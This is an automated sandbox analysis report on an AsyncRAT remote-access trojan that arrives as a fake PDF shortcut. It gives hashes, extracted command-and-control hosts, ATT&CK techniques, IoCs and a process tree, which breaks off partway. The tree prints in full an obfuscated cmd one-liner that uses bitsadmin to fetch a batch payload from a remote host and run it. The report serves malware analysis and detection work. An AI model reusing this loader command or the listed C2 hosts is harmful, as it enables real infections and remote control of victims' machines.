asyncrat | af0dbd7cf8b065a44a6bb44bef5537b85a176e854e478e29f8875f2965bf7847

Analysis

max time kernel
149s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/07/2026, 11:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SCAN_2026-7606428.pdf.lnk
Size 2KB
Sample260727-nd6pjsaf27
SHA256 af0dbd7cf8b065a44a6bb44bef5537b85a176e854e478e29f8875f2965bf7847
MD5 86e0b4c6d5364ffda950dc5a496d34c0
SHA1 e990e68915db80179ecd1212928f1f738ee69b05
SHA512 94855e7f03856f9f0bab9afabf52a928826772de9355cd5f41d35f27178654d94a9c9784841e62a2e9bdc36e40dd3c8cc9c4c82162ed5b5166e91460e903b699
TLSH
T14D419C5567E41B18E2B34E37687AE7118772BD16EA36CF2C0150948C6C69200E535F3A
MD5 SHA1 SHA512 TLSH

Score

10^/10

default defense_evasion discovery dropper execution asyncrat rat suricata

Malware Config

Extracted

Family

asyncrat

Botnet

Default

hsab20.duckdns.org:7878

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

yeja56.duckdns.org:6745

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound
Network activity triggered a Suricata alert
suricata asyncrat

Async RAT payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/3584-1833-0x0000000000DE0000-0x0000000000DF6000-memory.dmp	family_asyncrat
behavioral2/memory/4732-1843-0x00000000026B0000-0x00000000026C2000-memory.dmp	family_asyncrat

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2352	bitsadmin.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\.bat	curl.exe

Executes dropped EXE 3 IoCs

pid	Process
2024	python.exe
480	python.exe
444	python.exe

Loads dropped DLL 42 IoCs

pid	Process
2024	python.exe
2024	python.exe
2024	python.exe
2024	python.exe
2024	python.exe
2024	python.exe
2024	python.exe
2024	python.exe
2024	python.exe
2024	python.exe
2024	python.exe
2024	python.exe
2024	python.exe
2024	python.exe
480	python.exe
480	python.exe
480	python.exe
480	python.exe
480	python.exe
480	python.exe
480	python.exe
480	python.exe
480	python.exe
480	python.exe
480	python.exe
480	python.exe
480	python.exe
480	python.exe
444	python.exe
444	python.exe
444	python.exe
444	python.exe
444	python.exe
444	python.exe
444	python.exe
444	python.exe
444	python.exe
444	python.exe
444	python.exe
444	python.exe
444	python.exe
444	python.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
1904	wscript.exe
7620	cscript.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\as\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\es\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\fi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\te\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\id\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\dasherSettingSchema.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\et\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\offscreendocument.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\ml\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\sq\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\th\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\el\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\gu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\hr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\sv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\be\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\hu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\en\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\hy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\no\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\cy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\sk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\en_GB\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\mn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\vi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\or\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\kn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\cs\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\fil\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\kk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\pl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\am\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\uz\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\ja\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\ru\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\bg\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\fr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\mk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6056_583992888\_metadata\verified_contents.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2088	cmd.exe
5784	cmd.exe
5980	cmd.exe
4768	cmd.exe
808	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2356	msedge.exe

Delays execution with timeout.exe 9 IoCs

defense_evasion

pid	Process
468	timeout.exe
7060	timeout.exe
7048	timeout.exe
5788	timeout.exe
1976	timeout.exe
3296	timeout.exe
3360	timeout.exe
264	timeout.exe
5644	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134296246899843828"	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2246396966-3025826688-3847171515-1000\{6314375B-9D14-4E9D-97F0-32A422E1FD26}	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
6056	msedge.exe
6056	msedge.exe
6056	msedge.exe
6056	msedge.exe
6056	msedge.exe
6056	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3584	explorer.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
6056	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 808 wrote to memory of 2088	808	cmd.exe	90
PID 2088 wrote to memory of 2352	2088	cmd.exe	91
PID 2088 wrote to memory of 1904	2088	cmd.exe	94
PID 1904 wrote to memory of 5784	1904	wscript.exe	95
PID 2088 wrote to memory of 3360	2088	cmd.exe	97
PID 5784 wrote to memory of 5980	5784	cmd.exe	98
PID 5980 wrote to memory of 5244	5980	cmd.exe	99
PID 5980 wrote to memory of 4508	5980	cmd.exe	100
PID 5784 wrote to memory of 4768	5784	cmd.exe	101
PID 5784 wrote to memory of 6056	5784	cmd.exe	102
PID 5784 wrote to memory of 264	5784	cmd.exe	103
PID 6056 wrote to memory of 5444	6056	msedge.exe	104
PID 6056 wrote to memory of 2356	6056	msedge.exe	106
PID 6056 wrote to memory of 3012	6056	msedge.exe	107
PID 6056 wrote to memory of 4492	6056	msedge.exe	108
PID 6056 wrote to memory of 3012	6056	msedge.exe	107
PID 6056 wrote to memory of 3012	6056	msedge.exe	107
PID 6056 wrote to memory of 4492	6056	msedge.exe	108
PID 6056 wrote to memory of 1540	6056	msedge.exe	133
PID 6056 wrote to memory of 5944	6056	msedge.exe	110
PID 6056 wrote to memory of 1540	6056	msedge.exe	133
PID 6056 wrote to memory of 1540	6056	msedge.exe	133
PID 6056 wrote to memory of 5944	6056	msedge.exe	110
PID 6056 wrote to memory of 5944	6056	msedge.exe	110
PID 6056 wrote to memory of 1448	6056	msedge.exe	111
PID 6056 wrote to memory of 3532	6056	msedge.exe	112
PID 6056 wrote to memory of 1448	6056	msedge.exe	111
PID 6056 wrote to memory of 1448	6056	msedge.exe	111
PID 6056 wrote to memory of 3532	6056	msedge.exe	112
PID 6056 wrote to memory of 3532	6056	msedge.exe	112
PID 6056 wrote to memory of 5820	6056	msedge.exe	113
PID 6056 wrote to memory of 5820	6056	msedge.exe	113
PID 6056 wrote to memory of 5820	6056	msedge.exe	113
PID 6056 wrote to memory of 1700	6056	msedge.exe	114
PID 6056 wrote to memory of 4720	6056	msedge.exe	115
PID 6056 wrote to memory of 1700	6056	msedge.exe	114
PID 6056 wrote to memory of 4720	6056	msedge.exe	115
PID 6056 wrote to memory of 4720	6056	msedge.exe	115
PID 5784 wrote to memory of 5380	5784	cmd.exe	131
PID 5784 wrote to memory of 4220	5784	cmd.exe	118
PID 6056 wrote to memory of 2012	6056	msedge.exe	119
PID 6056 wrote to memory of 1472	6056	msedge.exe	120
PID 6056 wrote to memory of 2012	6056	msedge.exe	119
PID 6056 wrote to memory of 1472	6056	msedge.exe	120
PID 6056 wrote to memory of 5812	6056	msedge.exe	122
PID 6056 wrote to memory of 5724	6056	msedge.exe	123
PID 6056 wrote to memory of 5724	6056	msedge.exe	123
PID 6056 wrote to memory of 2216	6056	msedge.exe	124
PID 6056 wrote to memory of 2216	6056	msedge.exe	124
PID 5784 wrote to memory of 5772	5784	cmd.exe	127
PID 6056 wrote to memory of 3732	6056	msedge.exe	128
PID 6056 wrote to memory of 3732	6056	msedge.exe	128
PID 6056 wrote to memory of 804	6056	msedge.exe	129
PID 6056 wrote to memory of 804	6056	msedge.exe	129
PID 5784 wrote to memory of 5192	5784	cmd.exe	130
PID 5784 wrote to memory of 5380	5784	cmd.exe	131
PID 5784 wrote to memory of 2908	5784	cmd.exe	132
PID 5784 wrote to memory of 1540	5784	cmd.exe	133
PID 5784 wrote to memory of 2024	5784	cmd.exe	134
PID 5784 wrote to memory of 5788	5784	cmd.exe	135
PID 2024 wrote to memory of 4448	2024	python.exe	136
PID 2024 wrote to memory of 4448	2024	python.exe	136
PID 5784 wrote to memory of 480	5784	cmd.exe	137
PID 5784 wrote to memory of 5644	5784	cmd.exe	138

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
6824	attrib.exe
6712	attrib.exe

cURL User-Agent 3 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	41	curl/8.8.0
HTTP User-Agent header	51	curl/8.8.0
HTTP User-Agent header	55	curl/8.8.0

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\SCAN_2026-7606428.pdf.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /v:on /c set "a=bits"&set "b=admin"&call !a!!b! /transfer d /download /priority foreground "https://gmbh-hunt-dividend-arena.trycloudflare.com/updhfjsbfs.bat" "C:\Users\Admin\AppData\Local\Temp\s.bat"&&"C:\Users\Admin\AppData\Local\Temp\s.bat" general lk7vy4op9tf7||echo FAIL>"C:\Users\Admin\AppData\Local\Temp\r.log"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2088
- - C:\Windows\system32\bitsadmin.exe
    bitsadmin /transfer d /download /priority foreground "https://gmbh-hunt-dividend-arena.trycloudflare.com/updhfjsbfs.bat" "C:\Users\Admin\AppData\Local\Temp\s.bat"
    3⤵
    - Download via BitsAdmin
    PID:2352
- - C:\Windows\system32\wscript.exe
    wscript "C:\Users\Admin\Contacts\rhn.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:1904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\s.bat" hidden"
      4⤵
      Executes a command shell one-liner
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:5784
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c type "C:\Users\Admin\AppData\Local\Temp\pdfs.txt" | find /c /v ""
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5980
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\pdfs.txt" "
        6⤵
        
        PID:5244
      - C:\Windows\system32\find.exe
        
        find /c /v ""
        6⤵
        
        PID:4508
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c type "C:\Users\Admin\AppData\Local\Temp\pdfs.txt"
        5⤵
        Executes a command shell one-liner
        
        PID:4768
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Documents\SaveMeasure.pdf
        5⤵
        Drops file in Windows directory
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Modifies registry class
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:6056
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2c8,0x304,0x7ffffcdbc188,0x7ffffcdbc194,0x7ffffcdbc1a0
        6⤵
        
        PID:5444
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1844,i,14400830530092975663,10141887395727839789,524288 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=2940 /prefetch:11
        6⤵
        System Time Discovery
        
        PID:2356
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1620,i,5355386981359685262,104619098292498108,262144 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=2856 /prefetch:2
        6⤵
        
        PID:3012
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2024,i,10524651055233889514,11360123913437903217,524288 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=2984 /prefetch:13
        6⤵
        
        PID:4492
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3508,i,10813435383978083061,8675405205747827363,2097152 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=3588 /prefetch:1
        6⤵
        
        PID:1540
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3512,i,8561309881733472172,14318520489571815651,2097152 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:1
        6⤵
        
        PID:5944
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4252,i,13794446428450079962,14588079183880122250,2097152 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=4272 /prefetch:9
        6⤵
        
        PID:1448
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4176,i,5530782903902899259,3311708079750086597,2097152 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=4264 /prefetch:1
        6⤵
        
        PID:3532
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5220,i,7266480512946171023,13664853386440470178,2097152 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=3720 /prefetch:9
        6⤵
        
        PID:5820
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5388,i,9044574743399942080,15882069187309276734,524288 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=5400 /prefetch:14
        6⤵
        
        PID:1700
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5452,i,13312050955694672495,10521475470344298683,2097152 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=5428 /prefetch:15
        6⤵
        
        PID:4720
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5628,i,17362859541242108638,1146368918151402326,524288 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=5552 /prefetch:14
        6⤵
        
        PID:2012
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5516,i,17699976735586465952,10222143297091045430,524288 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=5608 /prefetch:14
        6⤵
        
        PID:1472
      - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6440,i,15590196059412863994,4263153564828457972,524288 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=6456 /prefetch:14
        6⤵
        
        PID:4756
      - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6440,i,15590196059412863994,4263153564828457972,524288 --field-trial-handle=2860,i,144942840545604357,1549935772839767669,262144 --variations-seed-version --mojo-platform-channel-handle=6456 /prefetch:14
        6⤵
        
        PID:5812
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
